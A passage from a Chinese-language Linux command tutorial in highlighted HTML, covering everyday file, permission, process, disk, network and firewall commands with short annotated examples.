class="hljs-built_in">cp</span> -i source.txt dest.txt    <span class="hljs-comment"># 覆盖前确认</span><br><span class="hljs-built_in">cp</span> -v source.txt dest.txt    <span class="hljs-comment"># 显示复制过程</span><br><span class="hljs-built_in">cp</span> -p source.txt dest.txt    <span class="hljs-comment"># 保留文件属性（权限、时间戳）</span><br><span class="hljs-built_in">cp</span> -a source_dir/ dest_dir/  <span class="hljs-comment"># 归档复制（保留所有属性）</span><br><br><span class="hljs-comment"># mv - 移动或重命名文件/目录</span><br><span class="hljs-built_in">mv</span> oldname.txt newname.txt   <span class="hljs-comment"># 重命名</span><br><span class="hljs-built_in">mv</span> file.txt /home/alice/     <span class="hljs-comment"># 移动文件</span><br><span class="hljs-built_in">mv</span> -i old new                <span class="hljs-comment"># 覆盖前确认</span><br><span class="hljs-built_in">mv</span> *.txt archive/            <span class="hljs-comment"># 移动所有 .txt 文件</span><br><br><span class="hljs-comment"># ln - 创建链接</span><br><span class="hljs-built_in">ln</span> -s /path/to/target linkname   <span class="hljs-comment"># 创建软链接（符号链接）</span><br><span class="hljs-built_in">ln</span> /path/to/target linkname      <span class="hljs-comment"># 创建硬链接</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E8%BD%AF%E9%93%BE%E6%8E%A5-vs-%E7%A1%AC%E9%93%BE%E6%8E%A5">软链接 vs 硬链接</span></h3><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs mermaid">flowchart LR<br>    subgraph 软链接<br>        A[软链接文件] -.-&gt;|指向路径| B[原始文件数据]<br>    end<br>    subgraph 硬链接<br>        C[硬链接文件] --&gt;|指向同一 inode| D[文件数据块]<br>        E[原始文件] --&gt;|指向同一 inode| D<br>    end<br></code></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 软链接（符号链接）</span><br><span class="hljs-built_in">ln</span> -s /usr/bin/python3 /usr/bin/python<br><span class="hljs-comment"># 类似 Windows 快捷方式，原始删除则链接失效</span><br><br><span class="hljs-comment"># 硬链接</span><br><span class="hljs-built_in">ln</span> /home/alice/file.txt /home/alice/hardlink<br><span class="hljs-comment"># 多个文件名指向同一数据块，删除原始不影响链接</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="5-%E6%96%87%E4%BB%B6%E6%9F%A5%E7%9C%8B%E4%B8%8E%E7%BC%96%E8%BE%91%E5%91%BD%E4%BB%A4">5. 文件查看与编辑命令</span></h2><h3><span id="%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E6%9F%A5%E7%9C%8B">文件内容查看</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># cat - 连接并显示文件内容</span><br><span class="hljs-built_in">cat</span> file.txt                    <span class="hljs-comment"># 显示整个文件</span><br><span class="hljs-built_in">cat</span> -n file.txt                 <span class="hljs-comment"># 显示行号</span><br><span class="hljs-built_in">cat</span> file1.txt file2.txt         <span class="hljs-comment"># 合并显示多个文件</span><br><span class="hljs-built_in">cat</span> file1.txt &gt; combined.txt    <span class="hljs-comment"># 合并保存到新文件</span><br><br><span class="hljs-comment"># less - 分页查看文件（推荐，可前后翻页）</span><br>less largefile.txt              <span class="hljs-comment"># 分页查看</span><br><span class="hljs-comment"># 快捷键: Space(下一页) b(上一页) /搜索 q(退出) g(开头) G(结尾)</span><br><br><span class="hljs-comment"># more - 分页查看文件（只能向前翻页）</span><br>more file.txt<br><br><span class="hljs-comment"># head - 查看文件开头</span><br><span class="hljs-built_in">head</span> file.txt                   <span class="hljs-comment"># 默认显示前10行</span><br><span class="hljs-built_in">head</span> -n 20 file.txt             <span class="hljs-comment"># 显示前20行</span><br><span class="hljs-built_in">head</span> -c 100 file.txt            <span class="hljs-comment"># 显示前100个字节</span><br><br><span class="hljs-comment"># tail - 查看文件末尾</span><br><span class="hljs-built_in">tail</span> file.txt                   <span class="hljs-comment"># 默认显示最后10行</span><br><span class="hljs-built_in">tail</span> -n 20 file.txt             <span class="hljs-comment"># 显示最后20行</span><br><span class="hljs-built_in">tail</span> -f /var/log/syslog         <span class="hljs-comment"># 实时追踪文件更新（极常用！）</span><br><span class="hljs-built_in">tail</span> -F /var/log/syslog         <span class="hljs-comment"># 追踪文件更新，文件被删除重建后继续追踪</span><br><br><span class="hljs-comment"># wc - 统计字数、行数、字节数</span><br><span class="hljs-built_in">wc</span> file.txt                     <span class="hljs-comment"># 显示: 行数 单词数 字节数</span><br><span class="hljs-built_in">wc</span> -l file.txt                  <span class="hljs-comment"># 只显示行数</span><br><span class="hljs-built_in">wc</span> -w file.txt                  <span class="hljs-comment"># 只显示单词数</span><br><span class="hljs-built_in">wc</span> -c file.txt                  <span class="hljs-comment"># 只显示字节数</span><br><br><span class="hljs-comment"># nl - 带行号显示文件</span><br><span class="hljs-built_in">nl</span> file.txt<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E4%BD%BF%E7%94%A8-vim-%E7%BC%96%E8%BE%91%E6%96%87%E4%BB%B6">使用 Vim 编辑文件</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 打开/创建文件</span><br>vim file.txt<br>vi file.txt<br><br><span class="hljs-comment"># Vim 三种模式:</span><br><span class="hljs-comment"># 1. 普通模式 (Normal) - 默认，用于导航和操作</span><br><span class="hljs-comment"># 2. 插入模式 (Insert) - 输入文本</span><br><span class="hljs-comment"># 3. 命令模式 (Command) - 执行保存、退出等操作</span><br></code></pre></td></tr></tbody></table></figure><table><thead><tr><th>快捷键</th><th>模式</th><th>功能</th></tr></thead><tbody><tr><td><code>i</code></td><td>Normal → Insert</td><td>在光标前插入</td></tr><tr><td><code>a</code></td><td>Normal → Insert</td><td>在光标后插入</td></tr><tr><td><code>o</code></td><td>Normal → Insert</td><td>在下一行插入</td></tr><tr><td><code>Esc</code></td><td>Insert → Normal</td><td>返回普通模式</td></tr><tr><td><code>:w</code></td><td>Normal → Command</td><td>保存</td></tr><tr><td><code>:q</code></td><td>Normal → Command</td><td>退出</td></tr><tr><td><code>:wq</code> / <code>ZZ</code></td><td>Normal → Command</td><td>保存并退出</td></tr><tr><td><code>:q!</code></td><td>Normal → Command</td><td>强制退出不保存</td></tr><tr><td><code>dd</code></td><td>Normal</td><td>删除当前行</td></tr><tr><td><code>yy</code></td><td>Normal</td><td>复制当前行</td></tr><tr><td><code>p</code></td><td>Normal</td><td>粘贴</td></tr><tr><td><code>u</code></td><td>Normal</td><td>撤销</td></tr><tr><td><code>Ctrl+r</code></td><td>Normal</td><td>重做</td></tr><tr><td><code>/search</code></td><td>Normal</td><td>搜索文本</td></tr><tr><td><code>:set nu</code></td><td>Normal → Command</td><td>显示行号</td></tr></tbody></table><h3><span id="%E4%BD%BF%E7%94%A8-nano-%E7%BC%96%E8%BE%91%E6%96%87%E4%BB%B6">使用 Nano 编辑文件</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">nano file.txt         <span class="hljs-comment"># 底部有快捷键提示，更友好</span><br><span class="hljs-comment"># Ctrl+O 保存, Ctrl+X 退出, Ctrl+K 剪切, Ctrl+U 粘贴</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="6-%E7%94%A8%E6%88%B7%E5%92%8C%E6%9D%83%E9%99%90%E7%AE%A1%E7%90%86">6. 用户和权限管理</span></h2><h3><span id="%E7%94%A8%E6%88%B7%E7%AE%A1%E7%90%86">用户管理</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># whoami - 查看当前用户名</span><br><span class="hljs-built_in">whoami</span><br><br><span class="hljs-comment"># id - 查看用户ID和组信息</span><br><span class="hljs-built_in">id</span>                   <span class="hljs-comment"># 显示 uid, gid, groups</span><br><span class="hljs-built_in">id</span> alice             <span class="hljs-comment"># 查看指定用户信息</span><br><br><span class="hljs-comment"># who / w - 查看当前登录用户</span><br><span class="hljs-built_in">who</span>                  <span class="hljs-comment"># 列出登录用户</span><br>w                    <span class="hljs-comment"># 更详细：包括用户正在做什么</span><br><br><span class="hljs-comment"># last - 查看登录历史</span><br>last                 <span class="hljs-comment"># 显示登录历史记录</span><br>last -n 10           <span class="hljs-comment"># 只显示最近10条</span><br><br><span class="hljs-comment"># 用户管理（需要 root 权限）</span><br><span class="hljs-built_in">sudo</span> useradd alice                    <span class="hljs-comment"># 创建用户</span><br><span class="hljs-built_in">sudo</span> useradd -m -s /bin/bash bob     <span class="hljs-comment"># 创建用户（指定主目录和Shell）</span><br><span class="hljs-built_in">sudo</span> passwd alice                     <span class="hljs-comment"># 设置/修改用户密码</span><br><span class="hljs-built_in">sudo</span> usermod -aG <span class="hljs-built_in">sudo</span> alice          <span class="hljs-comment"># 将用户加入 sudo 组</span><br><span class="hljs-built_in">sudo</span> userdel alice                    <span class="hljs-comment"># 删除用户</span><br><span class="hljs-built_in">sudo</span> userdel -r alice                 <span class="hljs-comment"># 删除用户及其主目录</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E6%96%87%E4%BB%B6%E6%9D%83%E9%99%90%E7%B3%BB%E7%BB%9F">文件权限系统</span></h3><p>Linux 文件权限基于三种角色和三种权限：</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs plaintext">-  rw-  r--  r--    alice  staff    1024  Jun 27 19:00  file.txt<br>|  |    |    |<br>|  |    |    └── 其他用户权限 (other)<br>|  |    └─────── 用户组权限 (group)<br>|  └──────────── 所有者权限 (owner)<br>└─────────────── 文件类型 (-文件, d目录, l链接)<br></code></pre></td></tr></tbody></table></figure><table><thead><tr><th>权限</th><th>数字</th><th>文件</th><th>目录</th></tr></thead><tbody><tr><td><strong>r</strong> (read)</td><td>4</td><td>读取文件内容</td><td>列出目录内容</td></tr><tr><td><strong>w</strong> (write)</td><td>2</td><td>修改文件内容</td><td>创建/删除目录中文件</td></tr><tr><td><strong>x</strong> (execute)</td><td>1</td><td>执行文件</td><td>进入目录</td></tr></tbody></table><h3><span id="%E6%9D%83%E9%99%90%E6%93%8D%E4%BD%9C%E5%91%BD%E4%BB%A4">权限操作命令</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># chmod - 修改文件权限</span><br><span class="hljs-built_in">chmod</span> 755 script.sh              <span class="hljs-comment"># 数字方式: rwxr-xr-x</span><br><span class="hljs-built_in">chmod</span> u+x script.sh              <span class="hljs-comment"># 符号方式: 给所有者加执行权</span><br><span class="hljs-built_in">chmod</span> g-w file.txt               <span class="hljs-comment"># 移除组写权限</span><br><span class="hljs-built_in">chmod</span> o+r file.txt               <span class="hljs-comment"># 给其他用户加读权限</span><br><span class="hljs-built_in">chmod</span> -R 755 <span class="hljs-built_in">dir</span>/                <span class="hljs-comment"># 递归修改目录权限</span><br><br><span class="hljs-comment"># 权限数字速查</span><br><span class="hljs-comment"># 7 = rwx (4+2+1)    5 = r-x (4+0+1)    0 = ---</span><br><span class="hljs-comment"># 6 = rw- (4+2+0)    4 = r-- (4+0+0)</span><br><br><span class="hljs-comment"># chown - 修改文件所有者</span><br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chown</span> alice file.txt             <span class="hljs-comment"># 修改所有者</span><br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chown</span> alice:staff file.txt       <span class="hljs-comment"># 同时修改所有者和组</span><br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chown</span> -R alice:staff <span class="hljs-built_in">dir</span>/        <span class="hljs-comment"># 递归修改</span><br><br><span class="hljs-comment"># chgrp - 修改文件所属组</span><br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">chgrp</span> staff file.txt<br></code></pre></td></tr></tbody></table></figure><h3><span id="sudo-%E6%9D%83%E9%99%90">sudo 权限</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># 以 root 身份执行单条命令</span><br><span class="hljs-built_in">sudo</span> <span class="hljs-built_in">command</span><br><br><span class="hljs-comment"># 切换到 root 用户</span><br><span class="hljs-built_in">sudo</span> su -<br><span class="hljs-built_in">sudo</span> -i<br><br><span class="hljs-comment"># 编辑 sudoers 文件（危险！使用 visudo）</span><br><span class="hljs-built_in">sudo</span> visudo<br><br><span class="hljs-comment"># 无密码 sudo（在 sudoers 中配置）</span><br>alice ALL=(ALL) NOPASSWD: ALL<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="7-%E8%BF%9B%E7%A8%8B%E7%AE%A1%E7%90%86%E5%91%BD%E4%BB%A4">7. 进程管理命令</span></h2><h3><span id="%E8%BF%9B%E7%A8%8B%E6%9F%A5%E7%9C%8B">进程查看</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># ps - 查看进程快照</span><br>ps                      <span class="hljs-comment"># 当前终端进程</span><br>ps aux                  <span class="hljs-comment"># 系统所有进程（BSD 格式）</span><br>ps -ef                  <span class="hljs-comment"># 系统所有进程（Unix 格式）</span><br>ps -ef | grep nginx     <span class="hljs-comment"># 查找特定进程</span><br><br><span class="hljs-comment"># ps aux 输出列说明:</span><br><span class="hljs-comment"># USER  PID  %CPU  %MEM  VSZ   RSS  TTY  STAT  START  TIME  COMMAND</span><br><span class="hljs-comment"># 用户  进程ID CPU% 内存% 虚拟内存 物理内存 终端 状态  启动时间 运行时间 命令</span><br><br><span class="hljs-comment"># top - 实时进程监控（交互式）</span><br>top                     <span class="hljs-comment"># 实时显示进程，按 q 退出</span><br><span class="hljs-comment"># 快捷键: M(按内存排序) P(按CPU排序) k(杀死进程) 1(查看每个CPU核心)</span><br><br><span class="hljs-comment"># htop - 更友好的 top（需安装）</span><br>htop<br><br><span class="hljs-comment"># pgrep - 按名称查找进程ID</span><br>pgrep nginx             <span class="hljs-comment"># 查找nginx的PID</span><br>pgrep -u alice          <span class="hljs-comment"># 查找alice用户的所有进程</span><br>pgrep -f <span class="hljs-string">"python app"</span>   <span class="hljs-comment"># 查找包含特定命令的进程</span><br><br><span class="hljs-comment"># pidof - 查找程序的进程ID</span><br>pidof sshd<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E8%BF%9B%E7%A8%8B%E6%8E%A7%E5%88%B6">进程控制</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># kill - 向进程发送信号</span><br><span class="hljs-built_in">kill</span> PID                <span class="hljs-comment"># 默认发送 TERM 信号（礼貌终止）</span><br><span class="hljs-built_in">kill</span> -9 PID             <span class="hljs-comment"># 发送 KILL 信号（强制杀死）</span><br><span class="hljs-built_in">kill</span> -15 PID            <span class="hljs-comment"># 发送 TERM 信号</span><br><span class="hljs-built_in">kill</span> -l                 <span class="hljs-comment"># 列出所有信号</span><br><br><span class="hljs-comment"># 常用信号:</span><br><span class="hljs-comment"># 1  (HUP)   - 重新加载配置</span><br><span class="hljs-comment"># 2  (INT)   - 中断（等同于 Ctrl+C）</span><br><span class="hljs-comment"># 9  (KILL)  - 强制终止（无法被捕获）</span><br><span class="hljs-comment"># 15 (TERM)  - 优雅终止（默认）</span><br><span class="hljs-comment"># 19 (STOP)  - 暂停进程</span><br><span class="hljs-comment"># 18 (CONT)  - 继续运行</span><br><br><span class="hljs-comment"># pkill - 按名称杀死进程</span><br>pkill nginx             <span class="hljs-comment"># 杀死所有nginx进程</span><br>pkill -f <span class="hljs-string">"python app"</span>   <span class="hljs-comment"># 按完整命令匹配</span><br><br><span class="hljs-comment"># killall - 按名称杀死所有匹配进程</span><br>killall chrome<br><br><span class="hljs-comment"># 进程前后台切换</span><br><span class="hljs-built_in">command</span> &amp;               <span class="hljs-comment"># 在后台启动command</span><br>Ctrl+Z                  <span class="hljs-comment"># 暂停当前前台进程</span><br><span class="hljs-built_in">jobs</span>                    <span class="hljs-comment"># 查看后台任务</span><br><span class="hljs-built_in">fg</span> %1                   <span class="hljs-comment"># 将任务1调到前台</span><br><span class="hljs-built_in">bg</span> %1                   <span class="hljs-comment"># 在后台继续运行任务1</span><br><span class="hljs-built_in">nohup</span> <span class="hljs-built_in">command</span> &amp;         <span class="hljs-comment"># 后台运行，退出终端不中断</span><br><br><span class="hljs-comment"># 示例：后台运行长时间任务</span><br><span class="hljs-built_in">nohup</span> python train.py &gt; output.log 2&gt;&amp;1 &amp;<br><span class="hljs-comment"># nohup: 不受终端关闭影响</span><br><span class="hljs-comment"># &gt; output.log: 标准输出重定向</span><br><span class="hljs-comment"># 2&gt;&amp;1: 标准错误也重定向到同一文件</span><br><span class="hljs-comment"># &amp;: 后台运行</span><br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="8-%E7%A3%81%E7%9B%98%E4%B8%8E%E5%AD%98%E5%82%A8%E7%AE%A1%E7%90%86">8. 磁盘与存储管理</span></h2><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># df - 查看磁盘空间使用情况</span><br><span class="hljs-built_in">df</span> -h                   <span class="hljs-comment"># 人类可读格式显示</span><br><span class="hljs-built_in">df</span> -hT                  <span class="hljs-comment"># 同时显示文件系统类型</span><br><span class="hljs-built_in">df</span> -i                   <span class="hljs-comment"># 查看 inode 使用情况</span><br><br><span class="hljs-comment"># du - 查看目录/文件占用空间</span><br><span class="hljs-built_in">du</span> -sh *               <span class="hljs-comment"># 当前目录下每个文件/文件夹的大小</span><br><span class="hljs-built_in">du</span> -sh /home/alice     <span class="hljs-comment"># 查看指定目录总大小</span><br><span class="hljs-built_in">du</span> -h --max-depth=1    <span class="hljs-comment"># 只显示一级子目录大小</span><br><span class="hljs-built_in">du</span> -sh * | <span class="hljs-built_in">sort</span> -hr    <span class="hljs-comment"># 按大小排序</span><br><br><span class="hljs-comment"># mount - 挂载文件系统</span><br>mount                   <span class="hljs-comment"># 查看所有挂载</span><br>mount /dev/sdb1 /mnt   <span class="hljs-comment"># 挂载分区</span><br>mount -t nfs server:/share /mnt  <span class="hljs-comment"># 挂载 NFS</span><br><br><span class="hljs-comment"># umount - 卸载文件系统</span><br>umount /mnt<br><br><span class="hljs-comment"># lsblk - 列出块设备</span><br>lsblk                   <span class="hljs-comment"># 显示磁盘和分区</span><br>lsblk -f                <span class="hljs-comment"># 显示文件系统类型和UUID</span><br><br><span class="hljs-comment"># fdisk - 分区管理</span><br><span class="hljs-built_in">sudo</span> fdisk -l           <span class="hljs-comment"># 列出所有磁盘和分区</span><br><span class="hljs-built_in">sudo</span> fdisk /dev/sdb     <span class="hljs-comment"># 管理 /dev/sdb 磁盘</span><br><br><span class="hljs-comment"># blkid - 查看块设备UUID</span><br>blkid<br></code></pre></td></tr></tbody></table></figure><hr><h2><span id="9-%E7%BD%91%E7%BB%9C%E7%9B%B8%E5%85%B3%E5%91%BD%E4%BB%A4">9. 网络相关命令</span></h2><h3><span id="%E7%BD%91%E7%BB%9C%E9%85%8D%E7%BD%AE%E6%9F%A5%E7%9C%8B">网络配置查看</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># ip - 现代网络配置工具（取代 ifconfig）</span><br>ip addr                 <span class="hljs-comment"># 查看IP地址</span><br>ip addr show eth0       <span class="hljs-comment"># 查看特定网卡</span><br>ip <span class="hljs-built_in">link</span>                 <span class="hljs-comment"># 查看网络接口状态</span><br>ip route                <span class="hljs-comment"># 查看路由表</span><br><br><span class="hljs-comment"># ifconfig - 传统网络配置（需安装 net-tools）</span><br>ifconfig                <span class="hljs-comment"># 查看所有网卡</span><br>ifconfig eth0           <span class="hljs-comment"># 查看特定网卡</span><br><br><span class="hljs-comment"># ping - 测试网络连通性</span><br>ping google.com         <span class="hljs-comment"># 持续ping（Ctrl+C 停止）</span><br>ping -c 4 google.com    <span class="hljs-comment"># 只发4个包</span><br>ping -i 0.5 google.com  <span class="hljs-comment"># 间隔0.5秒发一个包</span><br><br><span class="hljs-comment"># ss - 查看套接字统计（取代 netstat）</span><br>ss -tlnp                <span class="hljs-comment"># 查看所有监听的TCP端口</span><br>ss -tlnp | grep :80     <span class="hljs-comment"># 查看80端口是谁在监听</span><br>ss -an                  <span class="hljs-comment"># 查看所有连接</span><br><br><span class="hljs-comment"># netstat - 传统网络统计</span><br>netstat -tlnp           <span class="hljs-comment"># 查看监听端口</span><br>netstat -an | grep 3306 <span class="hljs-comment"># 查看3306端口连接</span><br></code></pre></td></tr></tbody></table></figure><h3><span id="%E7%BD%91%E7%BB%9C%E8%AF%B7%E6%B1%82%E4%B8%8E%E4%BC%A0%E8%BE%93">网络请求与传输</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># curl - URL 数据传输工具（API调试神器）</span><br>curl https://api.example.com              <span class="hljs-comment"># GET 请求</span><br>curl -X POST https://api.example.com/data <span class="hljs-comment"># POST 请求</span><br>curl -H <span class="hljs-string">"Content-Type: application/json"</span> \<br>     -d <span class="hljs-string">'{"key":"value"}'</span> url             <span class="hljs-comment"># 带JSON数据</span><br>curl -O https://example.com/file.zip      <span class="hljs-comment"># 下载文件（保留原名）</span><br>curl -o myfile.zip https://...            <span class="hljs-comment"># 下载并重命名</span><br>curl -I https://example.com               <span class="hljs-comment"># 只查看响应头</span><br>curl -v https://example.com               <span class="hljs-comment"># 详细输出（调试用）</span><br>curl -L https://short.url                 <span class="hljs-comment"># 跟随重定向</span><br>curl -u user:pass https://api.example.com <span class="hljs-comment"># HTTP基本认证</span><br><br><span class="hljs-comment"># wget - 文件下载工具</span><br>wget https://example.com/file.zip         <span class="hljs-comment"># 下载文件</span><br>wget -c https://example.com/file.zip      <span class="hljs-comment"># 断点续传</span><br>wget -r -np https://example.com/docs/     <span class="hljs-comment"># 递归下载整个目录</span><br><br><span class="hljs-comment"># scp - 安全复制（基于SSH）</span><br>scp file.txt user@server:/path/           <span class="hljs-comment"># 上传到远程</span><br>scp user@server:/path/file.txt ./         <span class="hljs-comment"># 从远程下载</span><br>scp -r <span class="hljs-built_in">dir</span>/ user@server:/path/            <span class="hljs-comment"># 递归复制目录</span><br>scp -P 2222 file.txt user@server:/path/   <span class="hljs-comment"># 指定端口</span><br><br><span class="hljs-comment"># rsync - 高效同步工具</span><br>rsync -avz <span class="hljs-built_in">source</span>/ dest/                  <span class="hljs-comment"># 同步目录</span><br>rsync -avz --delete <span class="hljs-built_in">source</span>/ dest/         <span class="hljs-comment"># 同步并删除目标多余文件</span><br>rsync -avz -e <span class="hljs-string">"ssh -p 2222"</span> <span class="hljs-built_in">source</span>/ user@server:/dest/<br></code></pre></td></tr></tbody></table></figure><h3><span id="%E9%98%B2%E7%81%AB%E5%A2%99ufw">防火墙（ufw）</span></h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-comment"># ufw - Ubuntu 防火墙（Uncomplicated Firewall）</span><br><span class="hljs-built_in">sudo</span> ufw status                  <span class="hljs-comment"># 查看防火墙状态</span><br><span class="hljs-built_in">sudo</span> ufw <span class="hljs-built_in">enable</span>                  <span class="hljs-comment"># 启用防火墙</span><br><span class="hljs-built_in">sudo</span> ufw <span class="hljs-built_in">disable</span>                 <span class="hljs-comment"># 禁用防火墙</span><br><span class="hljs-built_in">sudo</span> ufw allow 22                <span class="hljs-comment"># 允许SSH端口</span><br><span class="hljs-built_in">sudo</span> ufw allow 80/tcp            <span class="hljs-comment"># 允许HTTP</span><br><span 